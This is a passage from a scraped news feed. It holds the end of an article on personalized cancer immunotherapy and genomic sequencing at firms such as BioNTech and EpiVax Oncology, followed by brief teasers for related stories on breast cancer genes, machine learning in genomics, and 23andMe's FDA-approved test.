Some companies focus on diagnostics. Mitra Biotech, headquartered in Boston and with labs in Bangalore, for example, has devised a model that feeds a patient’s tumor biopsies into a machine learning algorithm to predict how she will respond to different drugs. BioNTech, based in Mainz, Germany, has developed several methods of immunotherapy treatments for cancer: protein coding and protein therapy, genetically engineered T cells, small molecule therapies, as well as a diagnostics platform that identifies the best treatment option for each patient. These approaches target the specific genome sequence of malignant tumors, and unlike chemo and radiation, they “can specifically kill cancer cells without as many side effects,” says Dr. Ugur Sahin, co-founder of the firm. At the Mayo Clinic in Jacksonville, Knutson’s team is developing breast cancer and ovarian cancer vaccines aimed at stimulating the immune system right after tumors have been removed through surgery. And EpiVax Oncology in Rhode Island is crafting a precision vaccine that leverages the body’s own immune system to attack and destroy cancer cells.

“This is truly revolutionary — something that’s never been done before,” says Gad Berdugo, co-founder of EpiVax Oncology.

At the heart of this explosion of interest in personalized immunotherapy is the rise of genomics. An increase in computer power has allowed genome sequencing to become cheaper and more efficient over the past two decades. In 2001, the cost of sequencing one human-size genome was $ 100 million. Today, it’s a mere $ 1,000, according to the National Human Genome Research Institute. This has enabled research involving genomics, like immunotherapy, to ramp up dramatically. As an immunology researcher, Knutson recalls feeling fairly invisible at conferences hosted by organizations like the American Association of Cancer Research in the 1990s. Immunology was “on the fringe because we didn’t understand the immune system that well,” Knutson says. The genomic revolution changed that.

Now increasingly front and center in the field of oncology, personalized immunotherapy is the route Sahin and his team at BioNTech are counting on. The process they’ve devised starts the standard way — with a biopsy. But within a few weeks the doctor receives information about the genome sequence of the tumor. A therapy based on that information is created and injected into the patient, with a maximum of two additional sessions, and the hope, says Sahin, is that it will be enough to completely kill the cancer. Their treatments are still in pre-clinical or clinical trials.

For Berdugo’s team, the process involves sequencing both the normal cells of a patient and their tumors. Then, an algorithm determines which sequence is likely to trigger your specific immune response against cancer. “It’s 100 percent custom,” Berdugo says. The method would be most effective in preventing a recurrence of cancer or preventing the development of the disease in patients who are genetically high-risk. EpiVax is meeting with the FDA at the end of July and, if all goes well, they will soon begin clinical trials. Berdugo believes an EpiVax vaccine could be on the market as soon as 2023.

But it’s not just the private sector that’s making strides; the U.S. government also has increased funding and development of the infrastructure that enables immune-based therapy research, says Knutson.

Still, costs remain high. The EpiVax technology is currently more than $ 10,000 per vaccine. Berdugo and his team are confident they can get that number below $ 10,000, but it’s unclear how much lower they’ll be able to go, or how much of the cost insurance companies will cover. As of 2016, Keytruda was priced at about $ 150,000 per year — prohibitively expensive for most Americans.

But as the research advances, so does hope for patients like Perkins. A cancer diagnosis might remain terrifying. But in the war on tumors, doctors will have a new advantage as they tailor their weapons based on a specific battleground: the patient’s body.

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]]> https://briefnews.eu/how-your-genes-could-be-used-to-cure-cancer/feed/ 0 Breast cancer cure hope: Scientists discover genes linked to risks of developing cancer https://briefnews.eu/breast-cancer-cure-hope-scientists-discover-genes-linked-to-risks-of-developing-cancer/ https://briefnews.eu/breast-cancer-cure-hope-scientists-discover-genes-linked-to-risks-of-developing-cancer/#respond Tue, 13 Mar 2018 17:11:09 +0000 http://briefnews.eu/breast-cancer-cure-hope-scientists-discover-genes-linked-to-risks-of-developing-cancer/

SCIENTISTS have linked more than 100 genes to an increased risk of breast cancer – paving the way for more personalised treatments, a study has said. A team at The Institute of Cancer Research in London identified a “treasure trove” of specific genes involved in raising a woman’s risk of developing the condition.

]]> https://briefnews.eu/breast-cancer-cure-hope-scientists-discover-genes-linked-to-risks-of-developing-cancer/feed/ 0 Can Machine Learning Find Meaning in a Mess of Genes? https://briefnews.eu/can-machine-learning-find-meaning-in-a-mess-of-genes/ https://briefnews.eu/can-machine-learning-find-meaning-in-a-mess-of-genes/#respond Sun, 11 Mar 2018 11:12:14 +0000 http://briefnews.eu/can-machine-learning-find-meaning-in-a-mess-of-genes/ The computer scientist Barbara Engelhardt develops machine-learning models and methods to scour human genomes for the elusive causes and mechanisms of disease.


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]]> https://briefnews.eu/can-machine-learning-find-meaning-in-a-mess-of-genes/feed/ 0 DNA test to spot cancer genes gets OK from U.S. regulator, but with warnings https://briefnews.eu/dna-test-to-spot-cancer-genes-gets-ok-from-u-s-regulator-but-with-warnings/ https://briefnews.eu/dna-test-to-spot-cancer-genes-gets-ok-from-u-s-regulator-but-with-warnings/#respond Tue, 06 Mar 2018 22:03:05 +0000 http://briefnews.eu/dna-test-to-spot-cancer-genes-gets-ok-from-u-s-regulator-but-with-warnings/ McGill cancer study

Genetic testing company 23andMe won U.S. Food and Drug Administration approval to sell genetic tests for three key breast cancer mutations directly to consumers.

]]> https://briefnews.eu/dna-test-to-spot-cancer-genes-gets-ok-from-u-s-regulator-but-with-warnings/feed/ 0